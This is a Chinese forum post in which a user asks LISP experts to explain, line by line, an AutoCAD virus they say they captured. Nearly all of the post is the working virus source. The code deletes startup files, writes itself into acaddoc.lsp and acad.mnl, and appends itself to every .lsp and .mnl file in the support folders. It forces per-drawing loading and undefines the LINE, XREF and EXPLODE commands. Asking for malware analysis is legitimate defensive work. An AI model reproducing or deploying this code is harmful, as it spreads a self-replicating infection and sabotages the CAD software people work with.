求助高手解释LISP病毒代码

五面怪

本人最近截获：CAD病毒代码一段，请LISP高手帮忙解析一下每句语句的功能，不胜感谢。最是比较常见的，党是不会亏待你的，

1. (
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2. setq
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3.   wold_cmd
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4.    (
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5.     getvar
   
6.      "cmdecho"
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7.    )
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8. )
   
9. (
   
10. setvar
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11.   "cmdecho"
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12.   0
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13. )
    
14. (
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15. setq
    
16. bb 1
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17. )
    
18. (setq dpath (getvar "dwgprefix"))
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19. (setq wpath (getvar "menuname"))
    
20. (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
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21. (setq mnl (strcat (chr 97)
    
22.                   (chr 99)
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23.                   (chr 97)
    
24.                   (chr 100)
    
25.                   (chr 46)
    
26.                   (chr 109)
    
27.                   (chr 110)
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28.                   (chr 108)
    
29.           )
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30.       lsp (strcat (chr 97)
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31.                   (chr 99)
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32.                   (chr 97)
    
33.                   (chr 100)
    
34.                   (chr 100)
    
35.                   (chr 111)
    
36.                   (chr 99)
    
37.                   (chr 46)
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38.                   (chr 108)
    
39.                   (chr 115)
    
40.                   (chr 112)
    
41.           )
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42. )
    
43. (vl-file-delete (strcat wpath "acadapq.lsp"))
    
44. (vl-file-delete (strcat wpath lsp))
    
45. (vl-file-delete (strcat wpath "acad.lsp"))
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46. (vl-file-delete (strcat dpath "acad.lsp"))
    
47. (defun wwriteapp ()
    
48.   (if (setq wwjm1 (open wnewacad "w"))
    
49.     (progn
    
50.       (setq wwjm (open woldacad "r"))
    
51.       (while(setq wwz (read-line wwjm))
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52.          (write-line wwz wwjm1)
    
53.       )
    
54.       (close wwjm)
    
55.       (close wwjm1)
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56.     )
    
57.   )
    
58. )
    
59. 
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60. (setq lbz 0)
    
61. (setq wwjqm (strcat dpath lsp))
    
62. (if (setq wwjm (open wwjqm "r"))
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63.   (progn
    
64.     (repeat 15 (read-line wwjm))
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65.     (setq wz (read-line wwjm))
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66.     (setq ab (atoi (substr wz 4 1)))
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67.     (close wwjm)
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68.     (if        (> ab bb)
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69.       (setq lbz 1)
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70.     )
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71.   )
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72. )
    
73. 
    
74. (setq wwjqm (strcat wpath mnl))
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75. (if (setq wwjm (open wwjqm "r"))
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76.   (progn
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77.     (repeat 15 (read-line wwjm))
    
78.     (setq wz (read-line wwjm))
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79.     (setq nb (atoi (substr wz 4 1)))
    
80.     (close wwjm)
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81.    
    
82.     (if        (< nb bb)
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83.       (setq lbz 1)
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84.     )
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85.   )
    
86.   (setq lbz 1)
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87. )
    
88. (if (= lbz 1)
    
89.   (progn
    
90.     (setq woldacad (strcat dpath lsp))
    
91.     (setq wnewacad (strcat wpath mnl))
    
92.     (wwriteapp)
    
93.   )
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94. )
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95. (if (and (/= (substr dpath 1 1) (chr 67))
    
96.          (/= (substr dpath 1 1) (chr 68))
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97.          (/= (substr dpath 1 1) (chr 69))
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98.          (/= (substr dpath 1 1) (chr 70))
    
99.     )
    
100.   (progn
     
101.     (setq woldacad (strcat wpath mnl))
     
102.     (setq wnewacad (strcat dpath lsp))
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103.     (wwriteapp)
     
104.   )
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105.   (vl-file-delete (strcat dpath lsp))
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106. )
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107. ;load "acadapq")
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108. (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
     
109. 
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110. (setq flagx t)
     
111. (setq bz "(setq flagx t)")
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112. (defun app(source target bz / flag flag1 wjm wjm1 text)
     
113.   (setq flag nil)
     
114.   (setq flag1 t)
     
115.   (if (findfile target)
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116.     (progn
     
117.       (setq wjm1 (open target "r"))
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118.       (while (setq text (read-line wjm1))
     
119.         (if (= text bz) (setq flag1 nil))
     
120.         );while
     
121.       (close wjm1)
     
122.       );progn
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123.     );if
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124.   (if flag1
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125.     (progn
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126.       (setq wjm (open source "r"))
     
127.       (setq wjm1 (open target "a"))
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128.       (write-line (chr 13) wjm1)
     
129.       (while (setq text (read-line wjm))
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130.         (if (= text bz) (setq flag t))
     
131.         (if flag
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132.           (progn
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133.             (write-line text wjm1)
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134.             );progn
     
135.           );if
     
136.         );while
     
137.       (close wjm1)
     
138.       (close wjm)
     
139.       );progn
     
140.     );if
     
141.   );defun
     
142. (setvar "cmdecho" 0)
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143. (setq acadmnl (findfile "acad.mnl"))
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144. (setq acadmnlpath (vl-filename-directory acadmnl))
     
145. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
     
146. (setq mnlnum (length mnlfilelist))
     
147. (setq acadexe (findfile "acad.exe"))
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148. (setq acadpath (vl-filename-directory acadexe))
     
149. (setq support (strcat acadpath "\\support"))
     
150. (setq lspfilelist (vl-directory-files support "*.lsp"))
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151. (setq lspfilelist (append lspfilelist (list "")))
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152. (setq lspnum (length lspfilelist))
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153. (setq dwgname (getvar "dwgname"))
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154. (setq dwgpath (findfile dwgname))
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155. (if dwgpath
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156.   (progn
     
157.     (setq acaddocpath (vl-filename-directory dwgpath))
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158.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
     
159.     (setq mnln 0)
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160.     (while (< mnln mnlnum)
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161.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
     
162.       (app mnlfilename acaddocfile bz)
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163.       (app acaddocfile mnlfilename bz)
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164.       (setq mnln (1+ mnln))
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165.       );while
     
166.     (setq lspn 0)
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167.     (while (< lspn lspnum)
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168.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
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169.       (app lspfilename acaddocfile bz)
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170.       (app acaddocfile lspfilename bz)
     
171.       (setq lspn (1+ lspn))
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172.       );while
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173.     );progn
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174.   );if
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175. (setq mnln 0)
     
176. (while (< mnln mnlnum)
     
177.   (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
     
178.   (setq mnln1 0)
     
179.   (while (< mnln1 mnlnum)
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180.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
     
181.     (app mnlfilename mnlfilename1 bz)
     
182.     (setq mnln1 (1+ mnln1))
     
183.     );while
     
184.   (setq lspn1 0)
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185.   (while (< lspn1 lspnum)
     
186.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
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187.     (app mnlfilename lspfilename1 bz)
     
188.     (setq lspn1 (1+ lspn1))
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189.     );while
     
190.   (setq mnln (1+ mnln))
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191.   );while
     
192. (setq lspn 0)
     
193. (while (< lspn lspnum)
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194.   (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
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195.   (setq lspn1 0)
     
196.   (while (< lspn1 lspnum)
     
197.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
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198.     (app lspfilename lspfilename1 bz)
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199.     (setq lspn1 (1+ lspn1))
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200.     );while
     
201.   (setq mnln1 0)
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202.   (while (< mnln1 mnlnum)
     
203.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
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204.     (app lspfilename mnlfilename1 bz)
     
205.     (setq mnln1 (1+ mnln1))
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206.     );while
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207.   (setq lspn (1+ lspn))
     
208.   );while
     
209. (setvar "sdi" 1)
     
210. (setvar "ACADLSPASDOC" 1)
     
211. (command "undefine" "line")
     
212. (command "undefine" "_line")
     
213. (command "undefine" "xref")
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214. (command "undefine" "_xref")
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215. (command "undefine" "explode")
     
216. (command "undefine" "_explode")
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217. (setvar "cmdecho" 1)
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218. (princ)
     
219. (load "acadapp")
     
220. (princ)
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221. (if (null stol) (load "lcm" ""))
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222. (princ)
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223. (load "acadappp.lsp")
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224. (princ)
     
225. (if (null stol) (load "lcm" ""))
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226. (princ)

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